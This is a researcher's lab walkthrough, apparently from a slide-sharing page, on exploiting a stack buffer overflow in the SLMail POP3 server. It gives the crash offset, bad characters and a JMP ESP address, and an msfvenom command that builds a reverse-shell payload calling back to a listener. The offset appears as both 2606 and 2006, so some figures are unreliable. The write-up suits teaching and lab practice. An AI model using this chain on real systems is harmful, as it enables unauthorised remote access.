Slmail Buffer Overflow

Exploiting SLMail by Stack Based Buffer Overflow
Eric Alleshouse -- Independent Security Researcher
ralleshouse@gmail.com
April 27 2017
How to Exploit Vulnserver: A Practical Approach to Stack Based Buffer Overflow
1

Table of Contents
How to Exploit Vulnserver: A Practical Approach to Stack Based
Buffer Overflow……………....……………….…………………...…....……...1
Introduction…………………………….……….………………...……………..3
Lab setup………………………….…….………………...………………3
Immunity configuration………………..…….……………...……………..….4
Simple buffer test…………………………….…………...…………………....6
Nmap scan………………………………………………...……………………..7
Crashing the program………………………………...…………………….….8
A unique string.……………………………………...…………………….…....9
Finding EIP memory location ………….…………………………………...10
Controlling EIP…..………………………….………………………….….…..11
The bytearray……………………………….…………………………..……...12
Truncation………………...……………………….………………………..….13
JMP ESP….……………………………....……..…..…………………….…....15
The final Exploit compiled ...…………………..………………………...….16
Shell received ……………………………………..………..………………....17
2

**A special thanks goes out to Aryan Guenthner, Penetration Tester, who has guided and
encouraged me to ‘Try Harder’ at succeeding with this project and to produce this report. **
Introduction
SLMail is SMTP and POP3 email server software for Microsoft™ Windows NT
and 2000. It was meant to be a framework for an email solution and was written without an
emphasis on security integrated in it’s development. As a result, the boundaries are not checked
resulting in a buffer overflow situation. This vulnerability is exploitable and allows me to gain a
remote shell on the system and extract sensitive documents from the system.
If these instructions are followed, then the same results will be reproduced.
SLMail can be downloaded here.
Lab setup
I’m using the VirtualBox hypervisor with a Kali 2016.2 and Windows 7 virtual machines.
Installed on the Windows machine is the SLmail pop3 server and immunity debugger
with the mona.py script inserted into the python commands folder within Immunity
debugger. The firewall in Windows has been turned off to simulate a possible real world
simulation of security misconfiguration. Perhaps the firewall was disabled for
troubleshooting purposes and forgotten about, among other scenarios that represent a
misconfiguration. This exercise shows a consequence of failing to audit a system
resulting in an exploit of the system and exposure to sensitive files. If the instructions
are followed in this document, the results will be reproduced.
3

SLmail can be downloaded from
http://download.cnet.com/SLmail/3000-18506_4-10002446.html
Kali can be downloaded from http://www.kali.org
Immunity debugger: https://www.immunityinc.com/products/debugger/index.html
Virtualbox: https://www.virtualbox.org/wiki/Downloads
Mona.py (which is inserted into the commands folder in Immunity):
https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
The goal of the exercise is to redirect the EIP memory address to a JMP ESP address which will
lead the execution flow into a shellcode which I injected into memory, allowing me to browse the
remote system and extract sensitive data.
As a side note, my host operating system is a MacBook Pro, and I have found a
limitation for drag and drop between host and guest, so the workaround to this is to
create a shared folder on the host that is accessible by the vm’s. Netcat will also work,
to transfer files, but takes a little more time to set up because it is not a native program
within Windows.
Once the VM’s are set up, I made sure the VM’s are on the ‘host only’ network so they
are kept from being exposed to the internet.
The Vm’s should be on the same network and able to ping each other. It is a good idea
to start up the SLmail service and try connecting to it with netcat to be sure it is
accepting inbound connections. To do this, issue the command:
nc 192.168.56.101 110 (Ip address is the ip of the Windows machine, and the
port it connects to is 110). You will see the pop server ready to accept instructions if
successful.
Immunity debugger should be started up and attached to the SLmail process and
running so that the memory locations and dumps can be observed.
4

Click file - attach - SLmail
Within Immunity debugger, set the working folder to c:logs by issuing the command:
!mona config -set workingfolder c:logs
All created logs and documents from Mona will be found there.
First, I need to verify the crash of the application by using a poc.py script to fuzz the application.
The exploit will send 3000 ‘A’s to the server and crash it, to verify that there is a vulnerability
within SLmail.
5

A snapshot of the the whole exploit is shown below. It is written in python and imports the
socket module to make a connection to the remote Vulnserver. It will send 3000 ‘A’s along with
‘PASS’ and the ‘USER username’ which the server takes as input. The server ip in the script
reflects the ip address of my windows machine where vulnserver resides and the port it uses is
110, which I found from a simple nmap scan of the ip address.
Initial exploit
6

Nmap scan of the ip address
After sending this exploit from Kali, the result shows that the program crashes and ESP contains
many ‘A’s or ‘41’ in hex. This shows that the boundary hasn’t been checked as I can inject my
own data into the program and cause it to crash. Each time the program is crashed, SLmail
needs to be restarted, and it’s process re-attached to Immunity.
7

Program crash with 3000 ‘A’s in memory
In order to find the specific location of ESP, a unique string needs to be sent to the program and
the offset address located from the debugger.
Use the Immunity command !mona pc 3000 (to create a unique string of characters. There is
also a tool within Kali in the directory which can be used located in:
/usr/share/metasploit-framework/tools/exploit/pattern_create
Copy the unique string into the exploit and send it to the vulnserver.
ie.exploit = 'Aa0Aa1Aa2Aa....' instead of the ‘A’s
The unique pattern string will be found in the c:logs working folder after using the mona
command.
Or from Kali
8

Note the exploit was changed from ‘A’s to the unique string created. Then it was sent to the vulnserver to
crash again.
9

Server crash and unique string shown in memory dump
After the system crashes, I locate the position of EIP. To find this, issued the Immunity
command !mona po 396f4338 (or use the Kali tool
/usr/share/metasploit_framework/tools/exploit/pattern_offset -q 296f4338 to find it's location)
The location was found at position 2606. This will become my offset in the exploit.
eg. !mona po 396f4338
The unique pattern found in EIP is located at position 2606.
EIP will be the next 4 bytes in memory, so the pattern offset now becomes 'A'*2006 + 'B'*4 (run
the script again to verify control of the EIP by noting that 4 ‘B’s get written to the EIP register.
10

EIP register has ‘42’ or ‘B’’s written to it
The four ‘B’s at the end of the ‘A’s are found and this confirms control over the EIP register.
Next, I need to examine which bytes will cause problems within SLmail such as truncation, and
render my exploit code useless.
I use Immunity !mona bytearray -b "x00" to create a list of all the possible hex characters
without the 00 character, which is a null byte and will cause truncation. The file will be saved to
c:logs. I copied the string into the exploit and set this in place of the offset to view any further
truncation caused by other bad characters, and eliminate them one by one until a clean set of
characters is able to be passed to the program without issue. Below is illustrated all possible
hex characters minus the 00. The picture with truncation happening shows that the 0A
character is causing problems afterward indicated by a bunch of 00’s, and therefore will be
removed. After removal of each character, the exploit is re-run to view the output in memory. It
is important to remove these bad characters so that the shellcode will be run successfully.
11

Send the byte array from the exploit : offset = 'A'*2006 + ‘B’*4 + badchars (bytearray) to see if
there is any truncation caused by characters from the array.
Offset and badchars are sent to the Vulnserver to test for truncation.
12

Truncation happening. Notice the truncation after 09.
After bad characters x00x0ax0d are removed there is no more truncation. The hex string is
successfully inserted to the memory buffer without problems. These bytes will be excluded
when creating the shellcode with msfvenom later on in the exercise.
.
No more truncation
Use Immunity !mona modules -o (to find the modules compatible with dlls within SLmail to
use, and double click on one that doesn’t have ASLR or DEP enabled. These randomize
memory addresses of the JMP ESP and are used for security purposes. I chose SLmail.exe.
The -o option filters out the operating system modules to whittle the module list to relevant
listings.)
13

Click on the ‘e’ at the top to list the modules available and locate the SLmail.exe module and
double click on it to jump to the slmail dlls.
Working within SLmail.exe indicated in the title of the window
14

Use Immunity !mona find -s 'xffxe4' -m .dll (to find the location of a JMP ESP location)
The JMP ESP in my case is located at 5F4B41E3. Written in little endian format, it will become
'xe3x41x4bx5f' in the exploit. (I replace the 'B'’s with JMP ESP address). Since I control EIP,
I can direct it to go to the JMP ESP address, slide down some no-operation instructions and fall
into the malicious shellcode).
I verify the address by searching that memory address in the debugger.
To create a payload in Kali without the bad characters and insert this as a variable in the script, I
type:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.103 LPORT=443 -f py -a x86
--platform windows -b 'x00x0ax0d' and insert the shellcode into my exploit.
The exploit becomes exploit = offset + JMP ESP + nops + buff
(offset is the memory just before EIP)
(JMP ESP is the address location of EIP)
(buf was the shellcode created in kali which contains my reverse tcp shell.
In this case there is just a snip of the shell code)
(nops are sent to create a little space and be sure that the shellcode gets run in the memory.
15

This is the final exploit with the shellcode. .
16

Setup a netcat listener in Kali so the Windows machine has a place to connect to (nc -lvp 443).
Send the exploit ./poc.py to Vulnserver
A shell is gained on the compromised Windows machine by exploiting a vulnerability in the
SLmail programming. There was no boundary check to the user input, so I was able to make
the program crash and gain entry to the system from my shellcode. The next phase of the
process would be Post exploitation where I can perform data exfiltration, move laterally through
various machines on the network, pass the hash, and showing the impact of the exploit, but will
not be explored in this walkthrough. Other useful information can be gained from from
computers, routers, printers etc.
17

System information gathered
18

Slmail Buffer Overflow

Recommended

More Related Content

What's hot (20)

Similar to Slmail Buffer Overflow (20)

Recently uploaded (20)

Slmail Buffer Overflow